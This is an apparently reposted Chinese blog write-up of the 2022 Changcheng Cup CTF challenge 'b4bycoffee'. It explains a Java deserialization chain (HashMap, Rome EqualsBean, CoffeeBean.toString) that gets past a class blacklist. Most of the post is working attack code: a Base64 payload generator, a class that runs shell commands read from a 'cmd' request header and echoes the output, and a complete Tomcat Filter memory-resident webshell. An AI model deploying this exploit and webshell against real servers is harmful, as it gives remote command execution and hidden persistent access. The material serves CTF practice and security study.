当前位置:首页 » 《我的小黑屋》 » 正文

【Web】记录[长城杯 2022 高校组]b4bycoffee题目复现

14 人参与  2024年04月12日 19:18  分类 : 《我的小黑屋》  评论

点击全文阅读


目录

前言

环境准备

简单分析

EXP(两种打法)

生成Payload

恶意类

①Spring命令执行回显类

②Filter型内存马


前言

本地jar包运行打通了,远程500,nss靶机有问题,换了bugku就可(

主要记录下做题过程,纯菜狗,小白文

环境准备

这次附件给的jar包是可执行jar,不是可依赖jar,不能直接add as lib导入项目

需要进行如下的处理

先是对jar包进行解压

用jadx-gui打开

 

 

简单分析

先来看pom

比较刺眼的是Rome依赖,还有spring可能会用于写内存马

接着注意到/b4by/coffee路由,此处便是反序列化入口

AntObjectInputStream是自定义的对象输入流类,写了一些关键类的黑名单

可以看到ban了ObjectBean,ToStringBean这些Rome链的sink点,TemplatesImpl这种实例化关键类,以及BadAttributeValueExpException这条CC5里触发ToString方法的类

好在EqualsBean还是在的,依然可以配合HashMap来触发ToString

此外AntObjectInputStream还重写了resolveClass,就是配合黑名单用的

现在问题是加载恶意类的ToStringBean&TemplatesImpl被ban了,空留toString何用?

“当上帝为你关闭了一扇门,就一定会为你打开一扇窗。”

我们看到coffeeBean类重写了toString方法,存在着能加载字节码的后门defineClass(用于将字节数组表示的类定义转换为 Class 对象),并对其进行实例化。

那这不就易如反掌易如反掌了吗(

手搓链子(不会tabby,锐意学习中)

java.util.HashMap#readObjectjava.util.HashMap#hashcom.rometools.rome.feed.impl.EqualsBean#hashCodecom.rometools.rome.feed.impl.EqualsBean#beanHashCodecom.example.b4bycoffee.model.CoffeeBean#toString

EXP(两种打法)

记得pom里再导一个javassist依赖

<dependency>            <groupId>org.javassist</groupId>            <artifactId>javassist</artifactId>            <version>3.29.2-GA</version>        </dependency>

生成Payload

 GenPayload.java

package com.example.b4bycoffee.exp;import com.example.b4bycoffee.model.CoffeeBean;import com.rometools.rome.feed.impl.EqualsBean;import javassist.ClassPool;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class GenPayload {    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {        Class clazz = obj.getClass();        Field field = clazz.getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, newValue);    }    public static String getPayLoad() throws Exception {        byte[] code = ClassPool.getDefault().get(你的恶意类.class.getName()).toBytecode();        CoffeeBean coffeeBean = new CoffeeBean();        setFieldValue(coffeeBean, "ClassByte", code);        EqualsBean equalsBean = new EqualsBean(String.class, "test");        HashMap map = new HashMap();        map.put(equalsBean, "xxx");        setFieldValue(equalsBean, "obj", coffeeBean);        setFieldValue(equalsBean, "beanClass", CoffeeBean.class);        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(map);        oos.close();        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));        System.out.println(payload);        return payload;    }    public static void main(String[] args) throws Exception {        getPayLoad();    }}

恶意类

①Spring命令执行回显类

SpringEcho.java

不出网没法反弹shell,内存马也没写起来,我怎么不去死一死QWQ

命令执行用下面SpringEcho类来回显

(参考链接:java回显学习 | 现科信息安全协会)

package com.example.b4bycoffee.exp;import java.lang.reflect.Method;import java.util.Scanner;public class SpringEcho {    static {        try {            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");            Method m = c.getMethod("getRequestAttributes");            Object o = m.invoke(null);            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");            m = c.getMethod("getResponse");            Method m1 = c.getMethod("getRequest");            Object resp = m.invoke(o);            Object req = m1.invoke(o); // HttpServletRequest            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);            getHeader.setAccessible(true);            getWriter.setAccessible(true);            Object writer = getWriter.invoke(resp);            String cmd = (String)getHeader.invoke(req, "cmd");            String[] commands = new String[3];            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {                commands[0] = "cmd";                commands[1] = "/c";            } else {                commands[0] = "/bin/sh";                commands[1] = "-c";            }            commands[2] = cmd;            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());            writer.getClass().getDeclaredMethod("flush").invoke(writer);            writer.getClass().getDeclaredMethod("close").invoke(writer);        } catch (Exception e) {        }    }}

header注入cmd即可

②Filter型内存马

package com.example.b4bycoffee.exp;import org.apache.catalina.LifecycleState;import org.apache.catalina.core.StandardContext;import org.springframework.context.ApplicationContext;import javax.servlet.*;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;public class TomcatInject implements Filter {    private static final String filterUrlPattern = "/*";    private static final String filterName = "Z3r4y";    static {        try {            ServletContext servletContext = getServletContext();            if (servletContext != null) {                Field ctx = servletContext.getClass().getDeclaredField("context");                ctx.setAccessible(true);                ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);                Field stdctx = appctx.getClass().getDeclaredField("context");                stdctx.setAccessible(true);                StandardContext standardContext = (StandardContext) stdctx.get(appctx);                if (standardContext != null) {                    // 这样设置不会抛出报错                    Field stateField =                            org.apache.catalina.util.LifecycleBase.class.getDeclaredField(                                    "state");                    stateField.setAccessible(true);                    stateField.set(standardContext, LifecycleState.STARTING_PREP);                    Filter myFilter = new TomcatInject();                    // 调用 doFilter 来动态添加我们的 Filter                    // 这里也可以利用反射来添加我们的 Filter                    javax.servlet.FilterRegistration.Dynamic filterRegistration =                            servletContext.addFilter(filterName, myFilter);                    // 进行一些简单的设置                    filterRegistration.setInitParameter("encoding", "utf-8");                    filterRegistration.setAsyncSupported(false);                    // 设置基本的 url pattern                    filterRegistration.addMappingForUrlPatterns(                            java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),                            false,                            new String[] {"/*"});                    // 将服务重新修改回来,不然的话服务会无法正常进行                    if (stateField != null) {                        stateField.set(                                standardContext, org.apache.catalina.LifecycleState.STARTED);                    }                    // 在设置之后我们需要 调用 filterstart                    if (standardContext != null) {                        // 设置filter之后调用 filterstart 来启动我们的 filter                        Method filterStartMethod =                                StandardContext.class.getDeclaredMethod("filterStart");                        filterStartMethod.setAccessible(true);                        filterStartMethod.invoke(standardContext, null);                        /** 将我们的 filtermap 插入到最前面 */                        Class ccc = null;                        try {                            ccc =                                    Class.forName(                                            "org.apache.tomcat.util.descriptor.web.FilterMap");                        } catch (Throwable t) {                        }                        if (ccc == null) {                            try {                                ccc = Class.forName("org.apache.catalina.deploy.FilterMap");                            } catch (Throwable t) {                            }                        }                        // 把filter插到第一位                        Method m =                                Class.forName("org.apache.catalina.core.StandardContext")                                        .getDeclaredMethod("findFilterMaps");                        Object[] filterMaps = (Object[]) m.invoke(standardContext);                        Object[] tmpFilterMaps = new Object[filterMaps.length];                        int index = 1;                        for (int i = 0; i < filterMaps.length; i++) {                            Object o = filterMaps[i];                            m = ccc.getMethod("getFilterName");                            String name = (String) m.invoke(o);                            if (name.equalsIgnoreCase(filterName)) {                                tmpFilterMaps[0] = o;                            } else {                                tmpFilterMaps[index++] = filterMaps[i];                            }                        }                        for (int i = 0; i < filterMaps.length; i++) {                            filterMaps[i] = tmpFilterMaps[i];                        }                    }                }            }        } catch (Exception e) {            e.printStackTrace();        }    }    // webshell命令参数名    private final String cmdParamName = "cmd";    private static ServletContext getServletContext()            throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {        ServletRequest servletRequest = null;        // shell注入,前提需要能拿到request、response等        Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");        java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");        f.setAccessible(true);        ThreadLocal threadLocal = (ThreadLocal) f.get(null);        // 不为空则意味着第一次反序列化的准备工作已成功        if (threadLocal != null && threadLocal.get() != null) {            servletRequest = (ServletRequest) threadLocal.get();        }        // 如果不能去到request,则换一种方式尝试获取        // spring获取法1        if (servletRequest == null) {            try {                c =                        Class.forName(                                "org.springframework.web.context.request.RequestContextHolder");                Method m = c.getMethod("getRequestAttributes");                Object o = m.invoke(null);                c =                        Class.forName(                                "org.springframework.web.context.request.ServletRequestAttributes");                m = c.getMethod("getRequest");                servletRequest = (ServletRequest) m.invoke(o);            } catch (Throwable t) {            }        }        if (servletRequest != null) return servletRequest.getServletContext();        // spring获取法2        try {            c = Class.forName("org.springframework.web.context.ContextLoader");            Method m = c.getMethod("getCurrentWebApplicationContext");            Object o = m.invoke(null);            c = Class.forName("org.springframework.web.context.WebApplicationContext");            m = c.getMethod("getServletContext");            ServletContext servletContext = (ServletContext) m.invoke(o);            return servletContext;        } catch (Throwable t) {        }        return null;    }    @Override    public void init(FilterConfig filterConfig) throws ServletException {}    @Override    public void doFilter(            ServletRequest servletRequest,            ServletResponse servletResponse,            FilterChain filterChain)            throws IOException, ServletException {        System.out.println(                "TomcatShellInject doFilter.....................................................................");        String cmd;        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {            Process process = Runtime.getRuntime().exec(cmd);            java.io.BufferedReader bufferedReader =                    new java.io.BufferedReader(                            new java.io.InputStreamReader(process.getInputStream()));            StringBuilder stringBuilder = new StringBuilder();            String line;            while ((line = bufferedReader.readLine()) != null) {                stringBuilder.append(line + '\n');            }            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());            servletResponse.getOutputStream().flush();            servletResponse.getOutputStream().close();            return;        }        filterChain.doFilter(servletRequest, servletResponse);    }    @Override    public void destroy() {}}

 


点击全文阅读


本文链接:http://zhangshiyu.com/post/94541.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1